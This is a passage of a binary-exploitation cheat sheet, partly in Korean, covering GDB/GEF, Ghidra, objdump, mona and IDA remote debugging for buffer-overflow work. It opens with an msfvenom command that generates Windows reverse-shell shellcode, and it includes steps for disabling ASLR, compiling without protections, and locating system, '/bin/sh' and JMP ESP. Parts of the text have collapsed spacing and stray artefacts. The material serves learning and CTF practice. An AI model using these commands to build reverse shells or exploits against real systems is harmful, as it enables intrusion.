msfvenom/pwindows/shell_reverse_tcpLHOST=<IP>LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
GDB
설치
apt-getinstallgdb
매개변수
-q# No show banner-x<file># Auto-execute GDB instructions from here-p<pid># Attach to process
지침
run# Executestart# Start and break in mainn/next/ni# Execute next instruction (no inside)s/step/si# Execute next instructionc/continue# Continue until next breakpointpsystem# Find the address of the system functionset $eip =0x12345678# Change value of $eiphelp# Get helpquit# exit# Disassembledisassemblemain# Disassemble the function called maindisassemble0x12345678# Disassemble taht addresssetdisassembly-flavorintel# Use intel syntaxsetfollow-fork-modechild/parent# Follow child/parent process# Breakpointsbrfunc# Add breakpoint to functionbr*func+23br*0x12345678del<NUM># Delete that number of breakpointwatchEXPRESSION# Break if the value changes# infoinfofunctions-->Infoabountfunctionsinfofunctionsfunc-->Infoofthefuntioninforegisters-->Valueoftheregistersbt# Backtrace Stackbtfull# Detailed stackprintvariableprint0x87654321-0x12345678# Caculate# x/examineexamine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero# Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>x/o0xDir_hexx/2x $eip # 2Words from EIPx/2x $eip -4# $eip - 4x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)ireip# Value of $eipx/wpointer# Value of the pointerx/spointer# String pointed by the pointerx/xw&pointer# Address where the pointer is locatedx/i $eip # Instructions of the EIP
helpmemory# Get help on memory commandcanary# Search for canary value in memorychecksec#Check protectionspsystem#Find system function addresssearch-pattern"/bin/sh"#Search in the process memoryvmmap#Get memory mappingsxinfo<addr># Shows page, size, perms, memory area and offset of the addr in the pagememorywatch0x7840000x1000byte#Add a view always showinf this memorygot#Check got tablememorywatch $_got()+0x185#Watch a part of the got table# Vulns detectionformat-string-helper#Detect insecure format stringsheap-analysis-helper#Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap#Patternspatterncreate200#Generate length 200 patternpatternsearch"avaaawaa"#Search for the offset of that substringpatternsearch $rsp #Search the offset given the content of $rsp#Shellcodeshellcodesearchx86#Search shellcodesshellcodeget61#Download shellcode number 61#Dump memory to filedumpbinarymemory/tmp/dump.bin0x2000000000x20000c350#Another way to get the offset of to the RIP1-PutabpafterthefunctionthatoverwritestheRIPandsendappaterntoovwerwriteit2-ef➤ifStacklevel0,frameat0x7fffffffddd0:rip=0x400cd3; savedrip=0x6261617762616176calledbyframeat0x7fffffffddd8Arglistat0x7fffffffdcf8,args:Localsat0x7fffffffdcf8,Previousframe's sp is 0x7fffffffddd0Saved registers:rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8gef➤ pattern search 0x6261617762616176[+] Searching for '0x6261617762616176'[+] Found at offset 184 (little-endian search) likely
Tricks
GDB 동일 주소
디버깅 중 GDB는 실행될 때 바이너리에서 사용되는 주소와 약간 다른 주소를 가집니다. GDB가 동일한 주소를 가지도록 하려면 다음을 수행하십시오:
unset env LINES
unset env COLUMNS
set env _=<path>바이너리의 절대 경로를 입력하세요
동일한 절대 경로를 사용하여 바이너리를 익스플로잇합니다.
GDB를 사용할 때와 바이너리를 익스플로잇할 때 PWD와 OLDPWD는 동일해야 합니다.
호출된 함수 찾기 위한 백트레이스
정적 링크 바이너리가 있을 때 모든 함수는 바이너리에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 사용자 입력을 요청하는 바이너리가 따르는 흐름을 식별하기 어려울 수 있습니다.
이 흐름은 gdb로 바이너리를 실행하여 입력을 요청할 때까지 쉽게 식별할 수 있습니다. 그런 다음 CTRL+C로 중지하고 bt (백트레이스) 명령을 사용하여 호출된 함수를 확인하십시오:
gef➤ bt
#0 0x00000000004498ae in ?? ()
#1 0x0000000000400b90 in ?? ()
#2 0x0000000000400c1d in ?? ()
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
GDB 서버
gdbserver --multi 0.0.0.0:23947 (IDA에서는 Linux 머신의 실행 파일의 절대 경로를 입력해야 하고 Windows 머신에서도 마찬가지입니다)
Ghidra
스택 오프셋 찾기
Ghidra는 로컬 변수의 위치에 대한 정보 덕분에 버퍼 오버플로우에 대한 오프셋을 찾는 데 매우 유용합니다.
예를 들어, 아래 예제에서 local_bc의 버퍼 흐름은 0xbc의 오프셋이 필요함을 나타냅니다. 또한, local_10이 카나리 쿠키인 경우, local_bc에서 이를 덮어쓰려면 0xac의 오프셋이 필요함을 나타냅니다.
&#xNAN;Remember that the first 0x08 from where the RIP is saved belongs to the RBP.
gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> 보호 없이 컴파일
&#xNAN;-o --> 출력
&#xNAN;-g --> 코드 저장 (GDB가 볼 수 있음)
echo 0 > /proc/sys/kernel/randomize_va_space --> 리눅스에서 ASLR 비활성화
쉘코드를 컴파일하려면:nasm -f elf assembly.asm --> ".o" 반환
ld assembly.o -o shellcodeout --> 실행 파일
Objdump
-d --> 실행 가능한 섹션을 디스어셈블 (컴파일된 쉘코드의 opcodes 보기, ROP Gadgets 찾기, 함수 주소 찾기...)
&#xNAN;-Mintel --> Intel 구문
&#xNAN;-t --> 기호 테이블
&#xNAN;-D --> 모두 디스어셈블 (정적 변수의 주소)
&#xNAN;-s -j .dtors --> dtors 섹션
&#xNAN;-s -j .got --> got 섹션
-D -s -j .plt --> plt 섹션 디컴파일
&#xNAN;-TR --> 재배치ojdump -t --dynamic-relo ./exec | grep puts --> GOT에서 수정할 "puts"의 주소
objdump -D ./exec | grep "VAR_NAME" --> 정적 변수의 주소 (이들은 DATA 섹션에 저장됨).
Core dumps
내 프로그램을 시작하기 전에 ulimit -c unlimited 실행
sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t 실행
sudo gdb --core=<path/core> --quiet
More
ldd executable | grep libc.so.6 --> 주소 (ASLR가 활성화되면 매번 변경됨)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> 주소가 많이 변경되는지 확인하는 루프
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> "system"의 오프셋
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> "/bin/sh"의 오프셋
strace executable --> 실행 파일에 의해 호출된 함수
rabin2 -i ejecutable --> 모든 함수의 주소
Inmunity debugger
!monamodules#Get protections, look for all false except last one (Dll of SO)!monafind-s"\xff\xe4"-mname_unsecure.dll#Search for opcodes insie dll space (JMP ESP)
IDA
원격 리눅스에서 디버깅
IDA 폴더 안에는 리눅스에서 바이너리를 디버깅하는 데 사용할 수 있는 바이너리가 있습니다. 그렇게 하려면 linux_server 또는 linux_server64 바이너리를 리눅스 서버 안으로 이동시키고 바이너리가 포함된 폴더 안에서 실행하세요:
./linux_server64 -Ppass
그런 다음 디버거를 구성합니다: Debugger (linux remote) --> Proccess options...:
